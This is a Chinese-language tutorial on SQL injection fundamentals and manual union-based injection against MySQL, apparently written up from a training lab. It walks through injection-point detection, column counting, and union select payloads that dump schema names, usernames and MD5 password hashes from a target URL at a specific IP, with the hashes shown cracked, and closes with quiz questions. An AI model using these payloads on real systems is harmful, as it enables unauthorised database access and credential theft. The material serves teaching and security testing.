1. 程式人生 > 其它 >SQL注入之基礎知識及手工注入

SQL注入之基礎知識及手工注入

前言
SQL注入是比較常見的網路攻擊方式之一,它不是利用作業系統的BUG來實現攻擊,而是針對程式設計師編寫時的疏忽,通過SQL語句,實現無賬號登入,甚至篡改資料庫。

SQL簡介

SQL 是一門 ANSI 的標準計算機語言,用來訪問和操作資料庫系統-。SQL 語句用於取回和更新資料庫中的資料。SQL 可與資料庫程式協同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他資料庫系統。

SQL注入

SQL注入就是一種通過操作輸入來修改後臺SQL語句達到程式碼執行進行攻擊目的的技術。

SQL注入產生原理

  1. 對使用者輸入的引數沒有進行嚴格過濾(如過濾單雙引號 尖括號等),就被帶到資料庫執行,造成了SQL注入
  2. 使用了字串拼接的方式構造SQL語句

SQL注入的分類

從注入手法分類可以分為:聯合查詢注入、報錯型注入、布林型注入、延時注入、堆疊注入
從資料型別上可以分為:字元型(即輸入的輸入使用符號進行過濾)、數值型(即輸入的輸入未使用符號進行過濾)
從注入位置可以分類為:GET資料(提交資料方式為GET,大多存在位址列)、POST資料(提交資料方式為POST,大多存在輸入框中)、HTTP頭部(提交資料方式為HTTP頭部)、cookie資料(提交資料方式為cookie)

SQL注入的危害

分為兩類:危害資料庫裡的資料、直接危害到網站的許可權(需要滿足條件)

  1. 資料庫資訊洩露
  2. 網頁篡改:登陸後臺後釋出惡意內容
  3. 網站掛馬 : 當拿到webshell時或者獲取到伺服器的許可權以後,可將一些網頁木馬掛在伺服器上,去攻擊別人
  4. 私自新增系統賬號
  5. 讀寫檔案獲取webshell

MYSQL資料庫

資料庫A=網站A=資料庫使用者A
表名
列名
資料
資料庫B=網站B=資料庫使用者B
。。。。。。
資料庫C=網站C=資料庫使用者C
。。。。。。

必要知識

1.在MYSQL5.0以上版本中,MYSQL存在一個自帶資料庫名為information_schema,它是一個儲存記錄有所有資料庫名,表名,列名的資料庫,也相當於可以通過查詢它獲取指定資料庫下面的表名或者列名資訊。

2.資料庫中符號"."代表下一級,如xiaodi.user表示xiaodi資料庫下的user表名。

3.常用引數

  • information_schema.tables:記錄所有表名資訊的表
  • information_schema.columns:記錄所有列名資訊的表
  • table_name:表名
  • column_name:列名
  • table_schema:資料庫名
  • user() 檢視當前MySQL登入的使用者名稱
  • database() 檢視當前使用MySQL資料庫名
  • version() 檢視當前MySQL版本

如何判斷注入點

1.如果頁面中MySQL報錯,證明該頁面中存在SQL注入漏洞

單引號 '
and 1=1
and 1=2
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 錯誤

2.邏輯運算子(或與非)

真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
SELECT * FROM users WHERE id=1 真
1=1 真
1=2 假
真且真=真
真且假=假
SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

SQL注入利用

1.利用order判斷欄位數

order by x(數字) 正常與錯誤的正常值  正確網頁正常顯示,錯誤網頁報錯
?id=1' order by 3--+

2.利用 union select 聯合查詢,將id值設定成不成立,即可探測到可利用的欄位數

?id=-1 union select 1,2,3 --+

3.利用函式database(),user(),version()可以得到所探測資料庫的資料庫名、使用者名稱和版本號

?id=-1 union select 1,database(),version() --+

4.利用 union select 聯合查詢,獲取表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知庫名'--+

5.利用 union select 聯合查詢,獲取欄位名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+

6.利用 union select 聯合查詢,獲取欄位值

?id=-1' union select 1,2,group_concat(已知欄位名,':'已知欄位名) from 已知表名--+

測試演示

要選用最舒服的方法測試:

SELECT * FROM users WHERE id=1asdsadsad(隨便輸入) LIMIT 0,1

隨便輸入後對網頁有影響說明帶入資料庫進行查詢,有注入點,沒有影響說明沒有帶入資料庫查詢,出現404錯誤說明對輸入檢測,沒有漏洞

1.猜解列名數量(欄位數)

order by x(數字) 正常與錯誤的正常值 正確網頁正常顯示,錯誤網頁報錯

http://219.153.49.228:48965/new_list.php?id=1 order by 4

2.報錯猜解準備

http://219.153.49.228:48965/new_list.php?id=1 union select 1,2,3,4
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,2,3,4
或者
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,2,3,4

3.資訊收集

資料庫版本:version() == 5.7.22-0ubuntu0.16.04.1==
資料庫名字:database() == mozhe_Discuz_StormGroup==
資料庫使用者:user() root@localhost
作業系統:@@version_compile_os Linux

http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,version(),database(),4
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,user(),@@version_compile_os,4

4.查詢指定資料庫名 “mozhe_Discuz_StormGroup” 下的表名資訊:

  • 查詢一個
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
  • 查詢所有
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
  • 查詢到的表名
StormGroup_member, notice

5.查詢指定表名“StormGroup_member”下的列名資訊

http://219.153.49.228:48965/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

查詢的結果

id,name,password,status

6.查詢指定資料

http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

查詢結果

mozhe
356f589a7df439f6f744ff19bb8092c0  -md5解密-->  dsan13

7.猜解多個數據可以採用limit x,1變動猜解

http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1
mozhe
356f589a7df439f6f744ff19bb8092c0  --md5解密--> dsan13
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
mozhe
2ae4c2ac594629684e67554fc5ad6ee1   --md5解密-->  147719

題目

  1. 可能存在注入的編號選項有哪幾個?

    www.xiaodi8.com/index.php?id=8
    www.xiaodi8.com/?id=10
    www.xiaodi8.com/?id=10&x=1
    www.xiaodi8.com/index.php(post注入)
    
  2. 引數有x注入,以下哪個注入測試正確

    A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2
    B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1
    C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1
    D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1
    
  3. 如果引數id存在注入點,引數的位置可以互換,使用工具的時候要注意

    http://www/cnhgs.net/main.php?id53(注入點) and 1=2 &page=1 
    ->   http://www/cnhgs.net/main.php?page=1&id53(注入點) and 1=2